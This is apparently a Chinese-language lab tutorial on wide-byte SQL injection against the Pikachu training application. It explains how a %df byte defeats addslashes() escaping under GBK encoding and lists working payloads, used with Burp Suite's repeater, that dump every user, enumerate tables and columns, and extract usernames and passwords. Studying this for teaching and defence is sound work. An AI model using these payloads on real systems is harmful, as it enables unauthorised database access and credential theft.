SQL注入-宽字节
含义:
MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ’ ‘’ null 等这些敏感字符,将它们转义成’ ‘’ \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。
宽字节的注入条件有两个:
1.数据库编码设置成GB系列
这里说的GB系列编码,不是指PHP页面的编码,而是连接数据库使用的编码。
2.使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。
常见的包括addslashes()、mysql_real_escape_string()函数。
转义函数的转义作用,就是我们常说的“过滤机制”。
当两个条件都满足时,才会存在宽字节注入。
具体原理:
1.通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ’ ,导致我们用来判断注入点的单引号失效。
所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
2.我们通过URL编码来分析,首先先看看这些特殊符号的URL编码:
URL转码
空格 %20
' %27
# %23
\ %5C
3.payload的是【%df '】,其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸
环境演示
通过pikachu请求宽字节注入,并且bp工具进行抓包
抓包的数据进行发送到repeater上进行输入payload语句测试
添加payload语句并发送,暴漏出所有的用户数据信息
name=%df' or 1=1#
如图所示:
判断可显字段
这里用order by判断字段数量会报错,不知道是什么原因。直接跳到下一步:用union select联合查询直接测试1,2是否为可显字段。
payload语句
name=kobe%df' union select 1,2#
可以看出第1,2个为可显字段
爆数据库名。
可以看到数据库名为pikachu,还有数据版本。
爆数据库表名。
注释:按照之前union联合查询注入的payload,【union select group_concat(table_name),2 from information_schema.tables where table_schema=“pikachu”】里面是存在引号的,但如果用%df来使引号逃逸,就会使查询语句出错,所以后面的payload都是用嵌套查询,避免使用引号。
name%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#
遍历出来所有的表名
暴字段名
kobe%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
如图所示,暴漏出字段名
爆字段内容。
kobe%df' union select (select group_concat(username,0x3b,password) from pikachu.users),2#
数据库对应的用户名和密码,直接解密即可;